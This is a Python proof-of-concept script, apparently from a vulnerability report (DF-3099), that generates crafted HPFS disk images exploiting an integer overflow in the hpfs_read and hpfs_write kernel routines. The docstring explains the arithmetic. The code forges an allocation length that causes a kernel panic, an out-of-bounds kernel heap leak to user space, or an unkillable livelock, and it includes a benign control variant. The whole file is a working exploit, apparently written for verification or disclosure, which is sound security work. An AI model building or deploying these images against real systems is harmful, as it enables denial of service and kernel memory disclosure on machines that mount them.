#!/usr/bin/env python3
"""
DF-3099 — crafted HPFS images for the (runl+1)*DEV_BSIZE int-overflow in
hpfs_read (sys/vfs/hpfs/hpfs_vnops.c:326-327) and hpfs_write (:394-396).

hpfs_hpbmap (sys/vfs/hpfs/hpfs_alsubr.c:126-129) computes the run hint:

    *runp = al_off - 1 + al_len - bn;      /* u32 math -> int */

with al_len taken verbatim from the on-disk alleaf.  hpfs_read/hpfs_write
then do:

    toread/towrite = min/szmin(off + resid, min(64*1024, (runl+1)*DEV_BSIZE));

`(runl+1) * 512' is signed 32-bit arithmetic; attacker-chosen al_len makes
it wrap to 0 or to a negative value:

  variant 'readpanic': al_len = 0x400000, bn = 0
        runl = 0x3FFFFF, cap = 0x400000 * 512 = 0x80000000 = INT_MIN
        (signed int overflow in (runl+1)*DEV_BSIZE)
        inner min(65536, INT_MIN) -> INT_MIN;  outer unsigned compare picks
        off+resid -> toread = user-chosen (e.g. 1 MB)
        -> xfersz = 1 MB -> bread -> getblk:
           panic("getblk: size(%d) > MAXBSIZE(%d)")   [vfs_bio.c:2737]

  variant 'wleak': al_len = 0x800000, bn = 0
        runl = 0x7FFFFF, cap = 0x800000*512 mod 2^32 = 0  (2^23 blocks!)
        towrite = szmin(off+resid, 0) = 0,  xfersz = 0
        off>0  -> bread(devvp, bn, 0) -> uiomove(b_data + off,
                  (size_t)(0 - off))  -- size_t underflow -> uiomove caps at
                  uio_resid but copies it from b_data+off of a ZERO-byte
                  buffer  -> OOB kernel heap read -> copyout to user (LEAK)
        off==0 -> getblk(...,0)+clrbuf+uiomove(n=0) -> while(uio_resid)
                  never terminates -> unkillable kernel livelock (HANG)

  variant 'control': al_len = 4 (benign) -> everything works, no panic.

Image layout (512B sectors), same skeleton as the verified DF-0857 pack:
  0x10 SuperBlock, 0x11 SpareBlock, 0x30 bitmap dir, 0x38..0x3f bitmap,
  0x20 root fnode (VDIR), 0x40 dirblk (dirent "FILE" -> fnode 0x48),
  0x48 file fnode (forged alleaf[0]), 0x50 2KB file data 'A'.
"""
import struct, sys

SECTOR = 512
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6

def build(outpath, variant):
    img = bytearray(0x80 * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2); wr8(su + 9, 0)
    wr32(su + 12, 0x20)                 # su_rootfno
    wr32(su + 16, 0x80)                 # su_btotal
    wr32(su + 20, 0)                    # su_badbtotal
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)   # su_bitmap
    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)

    bd = 0x30 * SECTOR
    wr32(bd, 0x38)                      # bitmap dir entry
    bm = 0x38 * SECTOR
    for i in range(0x40):
        img[bm + (i >> 3)] &= ~(1 << (i & 7))
    for i in range(0x40, 0x80):
        img[bm + (i >> 3)] |= (1 << (i & 7))

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)                  # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)           # root dirblk
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50)
    wr32(db + 8, 0); wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    name = b'FILE'
    dep = db + 20
    reclen = ((0x2f + len(name)) + 3) & ~3
    wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
    wr32(dep + 0x04, 0x48)
    wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x1000)
    wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
    img[dep + 0x2e] = len(name)
    for i, c in enumerate(name):
        img[dep + 0x2f + i] = c
    dep2 = dep + reclen
    wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db))
    wr16(dep2 + 0x02, 0x08)             # DE_END
    wr32(db + 4, (dep2 + 4) - db)

    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE'
    wr8(ff + FN_OFF_FLAG, 0)                  # VREG
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0     # leaf alblk (benign busycnt=1!)
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)

    if variant == 'readpanic':
        al_off, al_len, fn_size = 0, 0x400000, 0x200000
    elif variant == 'wleak':
        al_off, al_len, fn_size = 0, 0x800000, 0x1000
    else:                                     # control
        al_off, al_len, fn_size = 0, 4, 0x1000
    wr32(ff + FN_OFF_ABD + 0, al_off)
    wr32(ff + FN_OFF_ABD + 4, al_len)         # <-- FORGED al_len
    wr32(ff + FN_OFF_ABD + 8, 0x50)
    wr32(ff + FN_OFF_SIZE, fn_size)

    fd = 0x50 * SECTOR
    img[fd:fd + 4 * SECTOR] = b'A' * (4 * SECTOR)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s variant=%s al_len=0x%x fn_size=0x%x" %
          (outpath, variant, al_len, fn_size))

if __name__ == '__main__':
    build(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else 'control')
